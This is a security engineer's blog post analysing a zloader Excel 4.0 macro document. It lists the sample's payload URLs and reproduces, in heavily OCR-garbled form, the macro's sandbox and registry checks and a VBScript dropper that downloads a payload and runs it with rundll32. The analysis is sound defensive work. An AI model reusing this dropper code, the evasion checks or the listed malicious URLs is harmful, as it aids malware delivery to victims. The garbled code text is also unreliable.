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We’ve got ourselves a change to the zloader XLLM code and also some document behavior. Here’s today’s sample:

https://app.any.run/tasks/79dcccc4-b38a-4831-a9d5-b11a987e9729

URLs:
s://chuguadventures.co.tz/wp-touch.php
s://cirabelcrédito.com/wp-touch.php
s://digitalseven.net.co/wp-touch.php
s://dortome.net/wp-touch.php

Central Loop Mechanism

The decoding part of the central loop mechanism still exists as it did before. It grabs hex characters from
elsewhere in the document, decodes them, and writes those strings to new cells. However in this case, the

document only runs through two rounds of this decoding.

August 5, 2020 ‘ September 21, 2020

4 Entry Point: Cl4R1197%

HPsGJISm=R365C185 #+------
azxnW=R339C185

azxnW=RIZICL 6  SbugPGhBbM=R11910C14
FivHauRkdwA=R435C185 Round 1 S (1 gy tRNXYZ—R11883C14
ebnSmhBKoRc=R359C1ES

SJYRNz=R11973C14

MevGBEAircrEK=17977
i -— 2 yfpaSN=R11905C14
tPnBgjDiculi=243 \| Write decoded lines here |»—____ -

TuRMfodJ=12233 = R;:BWEC:(NZE‘F
|oxiEBBY=12233 | 11 | ucMBEXp=
crkIn=47 12 xrmviZOaNriv=10719
P = ; 1 UPEDb=10719
yZWzrgC=R17978C243 P Decodlng |00p — P
=ebnSmhBEoRC () +— — . L L+ HerX=1 .
=yZWzrqC() +—0 — 15 PdAgt=R27408C23
1 Execute newly written code F___ﬁ_ﬁ;_* =yfpasN (62367, 4247)
MevGBEAircrK=41007 =5+ =PdAgt (51606,28231)
tPnBgiDiouli=62 12
tukMfodJ=23228 Round 2

0ziEBBY=23228

RWOWE=5 6865
uWGMBGXp=105

crkIn=2 . - - XEmvVLZOBNZIv=42345
ESCEQRAEVGI=RE1007C62 | Write decoded lines here |'/r UPEDb=42345
mabnSmhBHoRe () 23 OgkOlGHtrX=23

58 =ESCEqQRALVG] () Decoding IODp - 24 tywRiYHZg=R56865C105

59 —7Z=% =yfpasSN (15638, 6438)

&0 MevGBEAircrK=45179 el =tywRiYHZg(5198,12333)
Round3 | .. |=Pnag-nmu01-1ss | ‘ Execute newly written code |—-“ 27 =HALT()

62 _tuFMfodJ=46813

63 |oziEBBY=46813
crkIh=40
WpvBVE=R45179C166
= =ebnSmhBKoRc ()

67 =WpvBVE()

69 =HALT()

Round 1
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The first round behaves pretty much the same as it did before. It checks to see if it’s in a sandbox, checks the

registry, and if VBAWarnings is turned on, the code will go back to the loop and start round 2.

R27407C23

=CLOSE (FALSE)

=FORMULA (LEN (APP . MAXIMIZE () ) +397, Sheet1!R27408C23)

~FORMULA (LEN (OR (GET . WINDOW (7) , GET .WORKSPACE (31) , GET. WORKSPACE (14) <390) ) +-992, Sheet1!R27409C23) -
‘N Sandbox checking

=FORMULA (LEN (AND (GET . WINDOW (20) , GET .WORESPACE (19) , GET .WORKSPACE (42) ) ) +-626, Sheet1!R27410C23)
=FORMULA (LEN (ISNUMBER (SEARCH ("Windews", GET .WORKSPACE (1) ) ) ) +318, Sheet1'R27411C23)

p=LEFT (GET.WORKSPACE (23) , (FIND {("Roaming™, GET.WORKSPACE (23) ,1)-1) ) 6"Local\Temp\"

n=CHAR (13)

=FOPEN (p&"UwM.vbza", 3)

=FWRITELN(R27414C23,"On Error Resume Next"cni"Set YQB=CreateCbject (""WScript.Shell"™)")
=FWRITELN(R27414C23, "Set 5IG=CreateObject (""Scripting.FileSystemCbject"")"sn&"Set giosbyQ=SIG.CreateTexcFile("""sps"Pj1TL.cxc"", Tru
=FWRITELN (R27414C23, "p4gP=Y(B.RegRead (" "HKCU\Software\Microsoft\Office\ "aGET .WORKSPACE (2) £"\Excel\ Security\VB" "+""ANarnings"") ")
=FWRITELN (R27414C23, "qiosby(}.WriteLine (b4gF) "&n&"qiosby(}.Close™)
=FCLOSE (R27414C23)

=EXEC ("explorer.exe "sp&"UwM.vbs") i i
=WHILE (ISERROR (FILES (p&"P3I1TL.txt"™))) Check reglstry for M‘m‘[“g‘s“
=WATT (HOW () +"00:00:01")

=NEXT ()
=FILE.DELETE (p&"UsM. vbs") -

=FOPEN (p&"P31TL.txT",2) If VBAWarnings turned on, go back
=FREAD (R27425C23,100)

—FCLOSE (R27425C23) / to central loop and start round 2

=FILE.DELETE (p&"Pj1IL.TxXT"™)
=1F (ISNUMBER (SEARCH ("1",R27426C23) ), GOTO (R27407C23) , GOTO (R12013C14) )

Round 2

This is where the main difference lies. A series of lines get written to a file called QPOL3.vbs and then executed.

Write these lines to
C:\Users\[account]\AppData\Local\Temp\QPOL3.vbs

RSE865C10S

=FOPEN (p&"QPOL3.vb=",3)
=FWRITELN (R56865C105, "MDCsx = ""https://chuguadventures.co.tz/wp-touch.php"""ins"jlum6ERD = ""https://cirabelerédite.com/wp-touch. php""™
=FWRITELN (R56865C105, "Tr3EDeB = ""hrtps://digitalseven.net.co/wp-touch.php"""4ns"SAXt = ""https://dortome.net/wp-touch.php™ ")

=FWRITELN (R56865C105, "u25 = Array(MDCsx, jlum6EhD, Tr3EDeB, SAxt) "&n&"Dim wMyyY: Set wMyyY = CreateObject (""MSKML2.ServerXMLHTIP.6.0"")")
=FWRITELN (R56865C105, "Function ysq(data):"&n&™wMyyY.setOption(2) = 13056"&n&"wMyyY.Open ""GET"",data,False")

=FWRITELN (RS6865C105, "wMyyY. Send"sna ysq = wMyyY,Status"sns"End Function™sné"For Each ZWBYL in u25")

=FWRITELN (RS6865C105,"If ysq(ZWPyL) = 200 Then"&n&"Dim aVTkm: Set aV7km = CreateCbject (""ADODB.Stream”")")

=FWRITELN (R56865C105, "aV7km.Open"&n&"aV7im.Type = 1"&n&"aV7km.Write wMyyY.ResponseBody")

=FWRITELN (R56865C105, "aV7lm.SaveToFile """spa"gfYLR.html™", 2"ins"aV7lm.Close"sns"Exit For"&n&"End If"&ns"Nexc™)

=FCLOSE (RS6265C105)

=EXEC ("explorer.exe "&p&"QPOL3.vbs"™) =+
=WHILE (ISERROR (FILES (p&"gfYLR.REMI™) } )
=WAIT (NOW () +™00:00:01")

=NEXT ()

=FILE.DELETE (p&"QPOL3.vba")

=ALERT ("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.”)

=FOPEN (p&"aTtodqU.vbs", 3)

="rundl132.exe"

=pi"gfYLR.html, D11RegisterServer”

="C:\Windows\System32"

=FWRITELN (R56881C105, "Set uNxr = GetObject (""new:COBAFD90-F2A1-11D1-8455-00A0C91F3880"")")

=FWRITELN (R56881C105, "uNxr.Document .Application.ShellExecute """ZR56882C105&""", """{R56883C105&""","""¢R56884C105&4""", Null,O0")
=FCLOSE (R56881C105)

=EXEC ("explorer.exe "&p&"aTtodqU.vbs")

=GOTO (R27407C23)

QPOL3.vbs

The code in the .vbs file is nothing that special. It’s just an array of URLs going through a For Each loop. The file

gets downloaded and then saved as an .html to the Temp folder.
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1 MDCex = "https://chuguadventures.co.tz/wp-touch.php™
2 Jlum&EhD = "https://cirabeleredito.comn/wp-touch.php™
3 Tr3EDeB = "https://digitalseven.net.co/wp-touch.php™
4 SAxt = "https://dortome.net/wp-touch.php™
L] w2t = hrray(MDCsx,jlumeEhRD , Tr3EDeE, ShAxt)
& Dim wMyyY: Set wMyyY = CreateObject ("MSXMLZ . ServerXMHMLHTIF.&.0"})
T Funection ysg{data):
8 wMyyY.setOption(2) = 13056
g wMyyY.Open "GET",data,False
10 wMyyY . Send
11 vaqg = wWhyvyY.S5tatus
1z End Function
13 For Each ZWPvyL in uZs
14 If veg({ZWPyL) = 200 Then
15 Dim aV7km: Set aV7km = CreateCbject ("ADCDE.Stream™)
16 aV7Tkm.Open
7 aVikm.Type = 1
18 aVTkm.Write wMyyY.ResponseBody
13 avikm.SaveToFile "C:“\Users‘\REM\LppData’\Local \Temp'gfY¥LE.html",2
20 avVikm.Clo=se
21 Exit For
22 End If
23 Hext
Back to Round 2

At this point, the .html file is executed with what looks to be rundll32.exe.

2 =ALERT ("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.”™)

3 =FOPEN (p&"altodqU.vbs", 3)

4 ="rundll32.exe"

5 =pg"gfYLR.html,Dl1RegisterServer"”

6 ="C:\Windows\System3z"

7 =FWRITELN (RG6881C105,"Set ulNxr = GetObject (""new:CO8RFDS0-F2A1-11D1-8455-00R0CI1F3880"") ")

=FWRITELN (RS6881C105, "ulxr.Document .Application.ShellExecute """&R56BB2C105&""", """LR5EEE3C105&""", """ER56B84C105&" """, Null, 0")
=FCLOSE (RS6881C105)

0 =EX¥EC ("explorer.exe "Lpi"aTtodgl.vbs")

81 =GOTO(R27407C23)

And that’s pretty much it! Again, not a major change, but I thought it was a noteworthy one.

Thanks for reading!

Just a Security Engineer that loves ripping apart malicious documents. View all posts by Jamie
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